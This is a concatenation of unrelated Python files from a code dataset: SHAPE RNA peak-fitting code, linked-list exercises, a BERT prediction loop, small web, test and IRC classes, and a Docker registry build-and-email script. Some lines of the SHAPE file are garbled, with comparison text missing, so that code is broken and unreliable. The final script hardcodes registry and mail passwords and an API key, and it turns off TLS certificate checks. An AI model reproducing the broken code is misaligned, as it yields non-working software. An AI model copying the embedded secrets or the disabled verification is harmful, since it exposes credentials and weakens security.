NPeak=dPeakList['NPeak']\n sigma=optimizeOneSigma(dataIn,dPeakList['pos'],dPeakList['amp'])\n if isOptPos: \n dPeakList=optimizePosition(dataIn,dPeakList,sigma,controlA)\n dPeakList['wid']=optimizeAllSigma(dataIn,dPeakList,sigma)\n dPeakList['amp']=optimizeAmp(dataIn,dPeakList)\n dPeakList['area']=np.abs(dPeakList['amp']*dPeakList['wid'])\n \n return dPeakList\n\ndef optimizeOneSigma(inputA,peakX,peakY):\n peakX=np.array(peakX)\n peakY=np.array(peakY)\n averW1=peakX[1:]-peakX[:-1]\n averW=np.nanmean(averW1[int(len(averW1)*0.1):int(len(averW1)*0.9)])\n wid=averW*0.45\n controlWid=np.arange(wid*0.8,wid*1.2,0.1)\n errorWid=np.ones(len(controlWid))\n NPeak=len(peakX)\n NData=len(inputA)\n x=np.arange(NData)\n for j in range(len(controlWid)):\n A=np.zeros(NData)\n for i in range(NPeak):\n y=fitFuncG(x,peakX[i],peakY[i],controlWid[j])\n A=A+y\n errorWid[j]=np.sum(np.abs(A-inputA)) #/np.sum(inputA)\n return controlWid[np.argmin(errorWid)]\n\n\ndef optimizeAllSigma(dataA,peakList,wid=5):\n newSig=np.ones(peakList['NPeak'])*wid\n #print peakList['NPeak']\n for i in range(1,peakList['NPeak']-1):\n controlSig=np.arange(wid*0.9,wid*1.1,0.1)\n errorPos=np.ones(len(controlSig))*9999\n x=np.arange(peakList['pos'][i-1],peakList['pos'][i+1]+1,1,dtype='i4')\n #print x\n y=dataA[x] \n for j in range(len(controlSig)):\n sig=controlSig[j]\n y1=fitFuncG(x,peakList['pos'][i-1],peakList['amp'][i-1],newSig[i-1])\n y2=fitFuncG(x,peakList['pos'][i],peakList['amp'][i],sig)\n y3=fitFuncG(x,peakList['pos'][i+1],peakList['amp'][i+1],newSig[i+1])\n y4=y1+y2+y3\n errorPos[j]=np.sum(np.abs(y4-y)) #/np.sum(y)\n\n newSig[i]=controlSig[np.argmin(errorPos)] \n return newSig\n\n\ndef optimizePosition(dataA,peakList,sigma,controlA=None):\n NPeak=peakList['NPeak']\n #print len(peakList['pos'])\n if controlA==None:\n controlA=np.zeros(NPeak)\n \n for i in range(1,NPeak-1):\n if controlA[i]==0:\n controlX=peakList['pos'][i] \n start=controlX-3\n end=controlX+4\n \n controlPos=np.arange(start,end,1)\n errorPos=np.ones(len(controlPos))*9999\n x=np.arange(peakList['pos'][i-1],peakList['pos'][i+1]+1,1,dtype='i4')\n y=dataA[x] \n for j in range(len(controlPos)):\n pos=controlPos[j]\n amp=dataA[int(pos)]\n y1=fitFuncG(x,peakList['pos'][i-1],peakList['amp'][i-1],sigma)\n y2=fitFuncG(x,peakList['pos'][i+1],peakList['amp'][i+1],sigma)\n y3=fitFuncG(x,pos,amp,sigma)\n y4=y1+y2+y3\n errorPos[j]=np.sum(np.abs(y4-y)) #/np.sum(y)\n peakList['pos'][i]=controlPos[np.argmin(errorPos)]\n peakList['amp'][i]=dataA[int(peakList['pos'][i])] \n return peakList\n\n\ndef optimizeAmp(dataA,peakList,wid=5):\n newAmp=np.zeros(len(peakList['pos']),dtype='f4')\n newAmp=peakList['amp'].copy()\n newAmpUp=newAmp.copy()\n newAmpUp*=1.2\n newAmpDown=newAmp.copy()\n newAmpDown*=0.8\n \n for k in range(5): \n for i in range(1,len(peakList['pos'])-1):\n x=peakList['pos'][i]\n y1=fitFuncG(x,peakList['pos'][i-1],newAmp[i-1],peakList['wid'][i-1])\n y2=fitFuncG(x,peakList['pos'][i+1],newAmp[i+1],peakList['wid'][i+1])\n newY=dataA[int(x)]-y1-y2\n if newY>newAmpUp[i]:\n newY=newAmpUp[i]\n elif newYnewAmpUp[i]:\n newY=newAmpUp[i]\n elif newY=1:\n A=data0.copy()\n B=data1.copy()\n else:\n A,B=selectDataForScale1(data0,data1,rate)\n \n A,B=removeDifferenceOutlier(A,B)\n \n # newFactor=findScaleFactor0(A,B)\n # print 'scale factor', newFactor\n newFactor= optimizeScaleFactor(A,B)\n \n return newFactor\n\n\ndef selectDataForScale1(data0,data1,rate=0.25):\n \"\"\" Select the lowest RX area with corresponding BG area\n \"\"\"\n NData=len(data0)\n argSorted0=np.argsort(data0)\n NSelect=int(NData*rate)\n #s=int(NData*0.5)\n #e=int(NData*rate)\n selectedArgSortAreaRX=argSorted0[:NSelect]\n A=np.zeros(NSelect)\n B=np.zeros(NSelect)\n for i in range(len(selectedArgSortAreaRX)):\n ind=selectedArgSortAreaRX[i]\n A[i]=data0[ind]\n B[i]=data1[ind]\n return A,B\n\n\ndef removeDifferenceOutlier(A,B):\n diff=A-B\n sortedDiff=np.argsort(diff)\n N=len(diff)\n newA, newB = np.array([]), np.array([])\n q1=int(N*0.2)\n q3=int(N*0.8)+1\n for i in range(q1,q3):\n newA=np.append(newA,A[sortedDiff[i]])\n newB=np.append(newB,B[sortedDiff[i]])\n \n return newA,newB\n\n\ndef optimizeScaleFactor(A,B,func='Data'):\n factor=1.0\n if func=='Data':\n resultList= fmin(scaleFactorFuncData, factor, args=(A,B),full_output=1,disp=0)\n elif func=='Median':\n resultList= fmin(scaleFactorFuncMedian, factor, args=(A,B),full_output=1,disp=0)\n else:\n resultList= fmin(scaleFactorFuncAver, factor, args=(A,B),full_output=1,disp=0)\n \n if resultList[4]==0:\n scaleFactor=resultList[0]\n else:\n scaleFactor=1\n return float(scaleFactor)\n\ndef scaleFactorFuncData(factor,A,B):\n err=np.sum(np.abs(A-factor*B))\n return err\n\ndef scaleFactorFuncMedian(factor,A,B):\n err=np.abs(np.median(A)-factor*np.median(B))\n return err\n\ndef scaleFactorFuncAver(factor,A,B):\n err=np.abs(averQ(A)-factor*averQ(B))\n return err\n\ndef scaleShapeDataWindow(data0,data1,deg=40,rate=1,step=10,fit=None,ref=None):\n N=len(data0)\n win=2*deg+1\n if NN-deg:\n e=N\n s=N-win\n else:\n s=i-deg\n e=i+deg+1 \n partData0=data0[s:e]\n partData1=data1[s:e]\n scaleFactor=scaleShapeData(partData0,partData1,rate)\n aScaleFactor=np.append(aScaleFactor,scaleFactor)\n aX=np.append(aX,i)\n \n #aY=scipy.signal.medfilt(aScaleFactor,5) \n aY = smoothRect(aScaleFactor,degree=2)\n aX=aX[1:-1]\n aY=aY[1:-1]\n fittedSig = fitLinear(aX,aY,len(data1))\n # data11=data1*fittedSig\n if fit=='linear':\n newX=np.arange(len(fittedSig))\n coeff=np.polyfit(newX,fittedSig,1)\n poly=np.poly1d(coeff)\n fittedSig=np.polyval(poly, newX)\n if fit=='exp':\n newX=np.arange(len(fittedSig))\n if ref==0:\n data11=data1*fittedSig\n return data11\n if ref==1:\n data00=data0/fittedSig\n return data00\n \n return fittedSig\n\n ### NORMALIZATION \n \ndef findPOutlierBox(dataIn):\n#Order the SHAPE reactivities from largest to smallest take the top 10% of the data - excluding outliers - this is your normalization factor - divide all the data by this number.\n#Outliers are defined either by --- anything higher than - 1.5*(Quartile3-Quartile1)+Quartile3 or the top 10% of the data - whichever is less.\n#Note - The quartiles come from the traditional box plot calculation (this can be done in Excel by doing =QUARTILE(B:B,1) if the reactivities are in column B) \n\n NData=len(dataIn)\n if NData<50:\n return 2.0,10.0\n dataSorted=np.sort(dataIn)\n a1=int(NData*0.25) \n a2=int(NData*0.5)\n a3=int(NData*0.75)\n Q1=dataSorted[a1]\n Q2=dataSorted[a2]\n Q3=dataSorted[a3]\n QThres=1.5*(Q3-Q1)+Q3\n \n NOutlier=0\n for i in range(NData-1,0,-1):\n if dataSorted[i]>QThres:\n NOutlier+=1\n else:\n break\n \n POutlier=float(NOutlier)/float(NData)*100\n # if POutlier>8.0:\n # POutlier=8.0 \n PAver=10.0 \n if NData<100:\n PAver = (10.0/ float(NData)) * 100\n \n return POutlier, PAver\n\ndef normBox(dataIn, scale=1):\n dataNormed=deepcopy(dataIn)\n POutlier,PAver=findPOutlierBox(dataNormed)\n dataNormed , aver= normSimple(dataNormed,POutlier,PAver)\n dataNormed = dataNormed * scale\n return dataNormed\n\ndef normSimple(dataIn,POutlier=2.0, PAver=10.0):\n NData=len(dataIn)\n NOutlier=int(float(NData)*float(POutlier)/100.0)\n if NOutlier<1:\n NOutlier=1 \n NAver=int(float(NData)*float(PAver)/100.0) + NOutlier\n \n dataSorted=np.sort(dataIn)\n aver=np.nanmean(dataSorted[-NAver:-NOutlier])\n dataNormed=dataIn/aver\n return dataNormed, aver\n\ndef normStat(data):\n normalized=np.zeros(len(data))\n mean=np.mean(data)\n std=np.std(data)\n normalized=(data-(mean))/std\n #normalized=normalized+1\n return normalized\n ### REPORT \nreportKeys=['seqNum','seqRNA','posSeq','posRX','areaRX','posBG','areaBG','areaDiff','normDiff']\ndef DReport():\n dReport={}\n dReport['seqNum']=np.array([],dtype='i4')\n dReport['seqRNA']=''\n dReport['posSeq']=np.array([],dtype='i4')\n dReport['posRX']=np.array([],dtype='i4')\n dReport['areaRX']=np.array([],dtype='i4')\n dReport['posBG']=np.array([],dtype='i4')\n dReport['areaBG']=np.array([],dtype='i4')\n dReport['areaDiff']=np.array([],dtype='i4')\n dReport['normDiff']=np.array([],dtype='i4')\n \n return dReport\n \ndef createDReport(dProject):\n dReport=DReport()\n dReport['seqNum']=np.array(dProject['seqNum'][1:],int)\n dReport['seqRNA']=dProject['seqRNA'][1:]\n dReport['posSeq']=np.array(dProject['seqX'][1:],int)\n dReport['posRX']=np.array(dProject['dPeakRX']['pos'][:-1],int)\n dReport['areaRX']=np.round(dProject['dPeakRX']['area'][:-1],decimals=2)\n dReport['posBG']=np.array(dProject['dPeakBG']['pos'][:-1],int)\n dReport['areaBG']=np.round(dProject['dPeakBG']['area'][:-1],decimals=2)\n dReport['areaDiff']=np.round(dProject['areaDiff'][:-1],decimals=2)\n dReport['normDiff']=np.round(dProject['normDiff'][:-1],decimals=2)\n \n return dReport\n\ndef writeReportFile(dReport,fName):\n myfile=open(fName,'w') \n for key in reportKeys:\n myfile.write(str(key)+'\\t')\n myfile.write('\\n')\n for i in range(len(dReport['seqRNA'])):\n for key in reportKeys:\n myfile.write(str(dReport[key][i])+'\\t')\n myfile.write('\\n')\n ","sub_path":"BoXFP/QuShape/funcSeqAll.py","file_name":"funcSeqAll.py","file_ext":"py","file_size_in_byte":24726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"89073499","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def removeNthFromEnd(self, head: ListNode, n: int) -> ListNode:\n # attach a dummy node\n node = ListNode(None)\n node.next = head\n head = node\n \n # two runners\n fptr = head.next\n while fptr and n:\n n -= 1\n fptr = fptr.next\n \n sptr = head\n while fptr:\n sptr = sptr.next\n fptr = fptr.next\n \n # remove the node\n sptr.next = sptr.next.next\n return head.next\n \n","sub_path":"19. Remove Nth Node From End of List/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"347351248","text":"from .utils import set_hardware_acceleration, format_time, gpu_memory_usage\nfrom typing import Optional, Tuple\nfrom tqdm import tqdm\nfrom time import time\nimport torch\nimport logging\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef predict(\n input_ids: torch.Tensor,\n token_type_ids: torch.Tensor,\n attention_masks: torch.Tensor,\n model: torch.nn.Module,\n batch_size: int,\n device_: Optional[str] = None, # if None, it automatically detects if a GPU is available, if not uses a CPU\n disable_progress_bar: bool = False\n) -> Tuple[torch.Tensor, torch.Tensor]:\n \"\"\"\n Given a trained model and unseen data, performs the predictions and returns the results.\n Unlike in the fine-tuning and training stages, during prediction there's no need to build a dataloader which\n splits the set into train and validation, and randomly shuffles the training samples. We can just pass the items\n directly one by one. As we're not training, there are no training epochs either.\n :param input_ids: torch.tensor of shape (N, max_len) representing the ids of each token of the N encoded sequence\n pairs, with padding at the end up to max_len. If decoded, the input_ids will consist of a \"[CLS]\" token,\n followed by the question's tokens, followed by a \"[SEP]\" token, followed by the context's tokens, followed\n by a \"[SEP]\" token, followed by \"[PAD]\" tokens, if relevant, up to max_len.\n :param token_type_ids: torch.tensor of shape (N, max_len) where each Nth dimension is filled with 1 for token\n positions in the context text, 0 elsewhere (i.e. in question and padding)\n :param attention_masks: torch.tensor of shape (N, max_len) where each Nth dimension is filled with 1 for\n non-\"[PAD]\" tokens, 0 for \"[PAD]\" tokens.\n :param model: the model to use (must be instance of torch.nn.Module). As we're performing predictions, this must\n be a trained model.\n :param batch_size: the batch size to use for predictions. Batching samples speeds up processing.\n :param device_: if specified, the device used for the computations. Can be one of cpu, cuda, mkldnn, opengl,\n opencl, ideep, hip, msnpu. If set to None, it will default to GPU (cuda) if one is available, else it will\n use a CPU. Default: None\n :param disable_progress_bar: bool; whether to disable the tqdm progress bar. When used in production for quickly\n returning answers to a single or small set of questions, the bar might be distracting. Default: False.\n :return: pred_start: torch.tensor of shape (N) with the predicted indices of the first answer token for each answer\n pred_end: torch.tensor of shape (N) with the predicted indices of the last answer token for each answer\n \"\"\"\n assert input_ids.shape == token_type_ids.shape == attention_masks.shape, \"Some input shapes are wrong\"\n\n device = set_hardware_acceleration(default=device_)\n model = model.to(device)\n model.eval()\n\n pred_start = torch.tensor([], dtype=torch.long, device=device) # initialising tensors for storing results\n pred_end = torch.tensor([], dtype=torch.long, device=device)\n\n t_i = time()\n # batch the samples to speed up processing. We do batching manually here to avoid using DataLoader\n for batch_i in tqdm(range(0, len(input_ids), batch_size), disable=disable_progress_bar):\n batch_input_ids = input_ids[batch_i:batch_i + batch_size, :].to(device)\n batch_token_type_ids = token_type_ids[batch_i:batch_i + batch_size, :].to(device)\n batch_attention_masks = attention_masks[batch_i:batch_i + batch_size, :].to(device)\n with torch.no_grad():\n start_logits, end_logits = model(\n input_ids=batch_input_ids,\n attention_mask=batch_attention_masks,\n token_type_ids=batch_token_type_ids,\n ) # if we don't pass it start_positions and end_positions it won't return the loss, unlike during training\n\n pred_start_positions = torch.argmax(start_logits, dim=1)\n pred_end_positions = torch.argmax(end_logits, dim=1)\n\n pred_start = torch.cat((pred_start, pred_start_positions))\n pred_end = torch.cat((pred_end, pred_end_positions))\n if torch.cuda.is_available():\n logger.debug(f\"GPU memory usage: \\n{gpu_memory_usage()}\")\n\n logger.info(f\"All predictions calculated in {format_time(time() - t_i)}.\")\n if torch.cuda.is_available():\n logger.info(f\"GPU memory usage: \\n{gpu_memory_usage()}\")\n\n return pred_start, pred_end\n\n","sub_path":"Module 4. BERT and HuggingFace/bert_for_question_answering/modules_solutions/prediction_loop.py","file_name":"prediction_loop.py","file_ext":"py","file_size_in_byte":4614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"416427761","text":"class TestK8s:\n async def test_healthz(self, client):\n \"\"\"\n k8s healthz 检测\n \"\"\"\n response = await client.get('/healthz')\n assert response.status == 200\n text = await response.text()\n assert text == 'ok'\n\n async def test_readiness(self, client):\n \"\"\"\n k8s readiness 检测\n \"\"\"\n response = await client.get('/readiness')\n assert response.status == 200\n text = await response.text()\n assert text == 'ok'\n","sub_path":"src/tests/test_k8s.py","file_name":"test_k8s.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"101846477","text":"from django import forms\nfrom .models import Musician\nfrom blog.models import Article\n\n\nclass MusicianForm(forms.ModelForm):\n\n\tclass Meta:\n\t\tmodel = Musician\n\t\tfields = ('__all__')\n\t\texclude = ['slug','instrument_slug', 'playing_style_slug']\n\n\tdef __init__(self, *args, **kwargs):\n\t\tsuper(MusicianForm, self).__init__(*args, **kwargs)\n\n\t\tfor field in self.fields:\n\t\t\tif field == 'about_you':\n\t\t\t\tself.fields[field].widget.attrs.update({'placeholder' : 'Some information about you'})\n\t\t\tif field == 'avatar':\n\t\t\t\tself.fields[field].widget.attrs['class'] = 'form-control-static'\n\t\t\telse:\n\t\t\t\tself.fields[field].widget.attrs['class'] = 'form-control'\n\n\tdef save(self, *args, **kwargs):\n\t\tnew_musician = super(MusicianForm, self).save(commit=True)\n\t\treturn new_musician\n","sub_path":"musicians/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"29746437","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# \n# cmd.py\n# \n# This file is part of the RoboEarth Cloud Engine framework.\n# \n# This file was originally created for RoboEearth\n# http://www.roboearth.org/\n# \n# The research leading to these results has received funding from\n# the European Union Seventh Framework Programme FP7/2007-2013 under\n# grant agreement no248942 RoboEarth.\n# \n# Copyright 2012 RoboEarth\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# \n# \\author/s: Dominique Hunziker \n# \n# \n\n\n\"\"\" Message Content Identifier of Command Messages of RCE Protocol:\n \n - Container (for removal)\n r Robot (for removal)\n n Node (for removal)\n i Interface (for removal)\n p Parameter (for removal)\n \n + Container\n R Robot\n \n N Node\n\n Z Standard Parameter\n Y Standard Parameter Array\n X FileParam\n \n V Service Interface\n K Service Provider Interface\n P Publisher Interface\n C Subscriber Interface\n \n W Service Converter\n L Service Provider Converter\n Q Publisher Converter\n D Subscriber Converter\n \n U Service Forwarder\n I Service Provider Forwarder\n O Publisher Forwarder\n B Subscriber Forwarder\n \n A Connection\n\"\"\"\n\nRM_CONTAINER = '-'\nRM_ROBOT = 'r'\nRM_NODE = 'n'\nRM_INTERFACE = 'i'\nRM_PARAMETER = 'p'\n\nCONTAINER = '+'\nROBOT = 'R'\n\nNODE = 'N'\n\nPARAM_STD = 'Z'\nPARAM_ARR = 'Y'\nPARAM_FILE = 'X'\n\nINTERFACE_SRV = 'V'\nINTERFACE_PRO = 'K'\nINTERFACE_PUB = 'P'\nINTERFACE_SUB = 'C'\n\nCONVERTER_SRV = 'W'\nCONVERTER_PRO = 'L'\nCONVERTER_PUB = 'Q'\nCONVERTER_SUB = 'D'\n\nFORWARDER_SRV = 'U'\nFORWARDER_PRO = 'I'\nFORWARDER_PUB = 'O'\nFORWARDER_SUB = 'B'\n\nCONNECTION = 'A'\n","sub_path":"framework/core/types/cmd.py","file_name":"cmd.py","file_ext":"py","file_size_in_byte":2432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"4929625","text":"# Dependencies\nimport openweathermapy.core as ow\n\n# Create settings dictionary with information we're interested in\napi_key = \"25bc90a1196e6f153eece0bc0b0fc9eb\"\nsettings = {\"units\": \"metric\", \"appid\": api_key}\n\n# OpenWatherMapy makes it easy to parse the response\ncurrent_weather_paris = ow.get_current(\"Paris\", **settings)\nsummary = [\"name\", \"main.temp\"]\n\ndata = current_weather_paris(*summary)\nprint(\"The current weather summary for Paris is: \" + str(data))\n","sub_path":"06-Python-APIs/2/09-Ins_OpenWeatherWrapper/openweather_wrapper_parse_response.py","file_name":"openweather_wrapper_parse_response.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"91463256","text":"class IRCMessage(object):\n def __init__(self, messageType, user, channel, messageText):\n self.messageType = messageType\n self.user = user\n self.channel = channel\n self.messageText = messageText\n self.params = messageText.split(\" \")\n \n self.replyTo = \"\"\n\n if not user and not channel:\n # This message does not have a user or a channel. It's probably a server reply\n self.replyTo = \"\"\n elif not channel:\n self.replyTo = user.nickname\n else:\n self.replyTo = channel.name\n","sub_path":"pyheufybot/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"531365807","text":"# program for linked list\r\n# SinglyLinkedList\r\n\r\n\r\nclass node: # this will create a node\r\n def __init__(self, data):\r\n self.data = data\r\n self.next = None\r\n\r\n\r\nclass SinglyLinkedList:\r\n def __init__(self):\r\n self.head = None # this will be head node\r\n self.numOfNodes = 0 # this variable shows the sizes of linked list\r\n\r\n def insert_first(self, data): # To insert node at the start\r\n new_node = node(data) # this create a node\r\n\r\n if self.head is None: # check the head is empty or not\r\n self.head = new_node\r\n self.numOfNodes += 1\r\n\r\n else:\r\n new_node.next = self.head\r\n self.head = new_node\r\n self.numOfNodes += 1\r\n\r\n def insert_end(self, data): # to create a node at the end\r\n new_node = node(data)\r\n\r\n if self.head is None:\r\n self.head = new_node\r\n self.numOfNodes += 1\r\n\r\n else:\r\n temp = self.head\r\n while temp.next is not None: # temp node now reaches to the last node\r\n temp = temp.next\r\n\r\n temp.next = new_node\r\n self.numOfNodes += 1\r\n\r\n\r\n def insert_at_pos(self, data, pos):\r\n new_node = node(data)\r\n\r\n if self.head is None:\r\n self.head = new_node\r\n\r\n else:\r\n count = self.numOfNodes\r\n if 1 <= pos <= count: # check the position is valid or not\r\n self.numOfNodes += 1\r\n if pos == 1:\r\n self.insert_first(data)\r\n\r\n elif pos == count:\r\n self.insert_end(data)\r\n\r\n else:\r\n temp = self.head\r\n i = 1\r\n\r\n while i < pos-1: # now to temp node reaches the nth position (n = pos -1)\r\n temp = temp.next\r\n i += 1\r\n new_node.next = temp.next\r\n temp.next = new_node\r\n\r\n else:\r\n print(f\"There are {count} nodes in the list.\\n \"\r\n \"Enter a valid position\\n\")\r\n\r\n def remove_first(self):\r\n\r\n if self.head is None:\r\n print(\"There are no nodes in the list.\\n\") # check the list is empty or not.\r\n\r\n elif self.head.next is None: # Only one node is present\r\n self.head = None\r\n\r\n else:\r\n temp = self.head # to delete the head node we use temp node\r\n self.head = self.head.next\r\n del temp\r\n self.numOfNodes -= 1\r\n\r\n def remove_end(self):\r\n\r\n if self.head is None:\r\n print(\"There are no nodes in the list.\\n\")\r\n\r\n elif self.head.next is None: # Only one node is present\r\n self.head = None\r\n\r\n else:\r\n temp = self.head # first we have to reach the last node\r\n prev_node = None # previous node is used to delete the next link of last node\r\n\r\n while temp.next is not None:\r\n prev_node = temp\r\n temp = temp.next\r\n\r\n prev_node.next = None\r\n del temp # delete the last node\r\n self.numOfNodes -= 1\r\n\r\n def remove_with_data(self, data):\r\n\r\n temp = self.head\r\n prev_node = None\r\n\r\n if self.head is None:\r\n return\r\n\r\n while temp is not None and temp.data != data: # we are comparing data with node data\r\n prev_node = temp\r\n temp = temp.next\r\n\r\n if temp is None: # it means we could not found the element because last node pointer is null\r\n return\r\n\r\n self.numOfNodes -= 1\r\n if prev_node is None: # it means there are only one node present at a time\r\n self.head = temp.next\r\n\r\n else:\r\n prev_node.next = temp.next\r\n\r\n def Traverse(self):\r\n\r\n if self.head is None:\r\n print(\"LIST IS EMPTY.\\n\")\r\n\r\n else:\r\n temp = self.head\r\n\r\n while temp is not None:\r\n print(f\"{temp.data} -->\", end='')\r\n temp = temp.next\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n SLL = SinglyLinkedList()\r\n\r\n while True:\r\n print(\"\\n<-- Singly Linked List -->\\n\"\r\n \"1. Insert_At_Start\\n\"\r\n \"2. Insert_At_End\\n\"\r\n \"3. Insert_At_Pos\\n\"\r\n \"4. Remove_From_Start\\n\"\r\n \"5. Remove_From_End\\n\"\r\n \"6. Remove_With_Data\\n\"\r\n \"7. Display_List\\n\"\r\n \"8. Exit\\n\")\r\n\r\n print(\"Enter a choice: \", end='')\r\n choice = int(input())\r\n\r\n if choice == 1:\r\n a = input(\"Enter a data: \")\r\n SLL.insert_first(a)\r\n print(\"\\n\")\r\n\r\n if choice == 2:\r\n a = input(\"Enter a data: \")\r\n SLL.insert_end(a)\r\n print('\\n')\r\n\r\n if choice == 3:\r\n a = input(\"Enter a data: \")\r\n b = int(input(\"Enter a position\"))\r\n SLL.insert_at_pos(a, b)\r\n\r\n if choice == 4:\r\n SLL.remove_first()\r\n\r\n if choice == 5:\r\n SLL.remove_end()\r\n\r\n if choice == 6:\r\n a = input(\"Enter Data: \")\r\n SLL.remove_with_data(a)\r\n\r\n if choice == 7:\r\n SLL.Traverse()\r\n\r\n if choice == 8:\r\n exit()\r\n\r\n\r\n\r\n\r\n","sub_path":"SINGLY_LINKED_LIST.py","file_name":"SINGLY_LINKED_LIST.py","file_ext":"py","file_size_in_byte":5426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"30708510","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2019/10/28\n# @Author : Zhangzhicong\n# @Software: PyCharm\n# @version : 1.0\nimport requests\nimport sys\nimport os\nfrom email.mime.text import MIMEText # 专门发送正文\nfrom email.mime.multipart import MIMEMultipart # 发送多个部分\nfrom email.mime.application import MIMEApplication # 发送附件\nimport smtplib # 发送邮件\nrequests.packages.urllib3.disable_warnings()\n# pro_name = sys.argv[1]\n# image = sys.argv[2]\npro_name = 'ouyu-prod-test'\nimage = 'conf'\n# class minimal:\n# def __init__(self):\n# self.url_login = 'https://dockerepo.isccn.cn:15000/c/login'\n# self.login_data = {\n# 'principal': 'zhangzhicong',\n# 'password': 'Zzc123456'\n# }\n# self.session = requests.session()\n# self.value = self.session.post(self.url_login, data=self.login_data, verify=False)\n# def get_minimal_conf_image_version(self):\n# url = 'https://dockerepo.isccn.cn:15000/api/repositories/minimal/conf/tags/'\n# value= self.session.get(url).json()\n# s = [i[\"name\"] for i in value]\n# res = sorted(s, reverse = True)[0]\n# res = res.replace(res[-1], str(int(res[-1]) + 1))\n# return res\n# def get_minimal_cdn_image_version(self):\n# url = 'https://dockerepo.isccn.cn:15000/api/repositories/minimal/cdn/tags/'\n# value= self.session.get(url).json()\n# s = [i[\"name\"] for i in value]\n# res = sorted(s, reverse = True)[0]\n# res = res.replace(res[-1], str(int(res[-1]) + 1))\n# return res\n# def get_minimal_idrc_image_version(self):\n# url = 'https://dockerepo.isccn.cn:15000/api/repositories/minimal/idrc/tags/'\n# value= self.session.get(url).json()\n# s = [i[\"name\"] for i in value]\n# res = sorted(s, reverse = True)[0]\n# res = res.replace(res[-1], str(int(res[-1]) + 1))\n# return res\n# def get_minimal_opensips_image_version(self):\n# url = 'https://dockerepo.isccn.cn:15000/api/repositories/minimal/opensips/tags/'\n# value= self.session.get(url).json()\n# s = [i[\"name\"] for i in value]\n# res = sorted(s, reverse = True)[0]\n# res = res.replace(res[-1], str(int(res[-1]) + 1))\n# return res\n# def get_minimal_pushweb_image_version(self):\n# url = 'https://dockerepo.isccn.cn:15000/api/repositories/minimal/pushweb/tags/'\n# value= self.session.get(url).json()\n# s = [i[\"name\"] for i in value]\n# res = sorted(s, reverse = True)[0]\n# res = res.replace(res[-1], str(int(res[-1]) + 1))\n# return res\ndef link_version(url):\n url_login = 'https://dockerepo.isccn.cn:15000/c/login'\n login_data = {\n 'principal': 'zhangzhicong',\n 'password': 'Zzc123456'\n }\n session = requests.session()\n value = session.post(url_login, data=login_data, verify=False)\n value = session.get(url).json()\n s = [i[\"name\"] for i in value]\n res = sorted(s, reverse=True)[0]\n if len(res) <= 5:\n res = res.replace(res[-1], str(int(res[-1]) + 1))\n else:\n res = res.replace(res[-2:], str(int(res[-2:]) + 1))\n return res\ndef send_mail(email_text):\n send_user = 'op-info@cd-hst.com' # 发件人\n password = '123456' # 授权码/密码\n receive_users = 'zhangzhicong@cd-hst.com' # 收件人,可为list\n # receive_users = 'tao.shen@isccn.cn'\n subject = email_text # 邮件主题\n email_text = email_text # 邮件正文\n server_address = 'mail.cd-hst.com' # 服务器地址\n mail_type = '1' # 邮件类型\n # 构造一个邮件体:正文 附件\n msg = MIMEMultipart()\n msg['Subject'] = subject # 主题\n msg['From'] = send_user # 发件人\n msg['To'] = receive_users # 收件人\n # 构建正文\n part_text = MIMEText(email_text, 'plain', 'utf-8')\n msg.attach(part_text) # 把正文加到邮件体里面去\n # 发送邮件 SMTP\n smtp = smtplib.SMTP(server_address, 25) # 连接服务器,SMTP_SSL是安全传输\n smtp.ehlo() # 向Gamil发送SMTP 'ehlo' 命令\n smtp.starttls()\n smtp.login(send_user, password)\n smtp.sendmail(send_user, receive_users, msg.as_string()) # 发送邮件\n print('邮件发送成功!')\ndef build_push_image(url):\n version = link_version(url)\n print(version)\n os.environ['version'] = version\n os.environ['image'] = image\n try:\n os.system('sh /home/prod_build.sh $image $version')\n send_mail(\"构建并推送成功\")\n update = os.system(\"docker rmi -f $(docker images | grep $image | awk '{print $3}')\")\n except BaseException:\n os.system('sh /home/prod_build.sh $image $version')\n v = os.popen(\"docker images |awk '{print $2}'| awk 'NR==2'\").read()\n if v in version:\n send_mail(\"推送镜像失败\")\n else:\n send_mail(\"构建镜像失败\")\n# class ouyuprod:\n# def __init__(self):\n# self.url_login = 'https://dockerepo.isccn.cn:15000/c/login'\n# self.login_data = {\n# 'principal': 'zhangzhicong',\n# 'password': 'Zzc123456'\n# }\n# self.session = requests.session()\n# self.value = self.session.post(self.url_login, data=self.login_data, verify=False)\n# def get_ouyupord_conf_image_version(self):\n# url = 'https://dockerepo.isccn.cn:15000/api/repositories/ouyu-prod-test/conf/tags/'\n# value= self.session.get(url).json()\n# s = [i[\"name\"] for i in value]\n# res = sorted(s, reverse = True)[0]\n# if len(res)<=5:\n# res = res.replace(res[-1], str(int(res[-1]) + 1))\n# else:\n# res = res.replace(res[-2:], 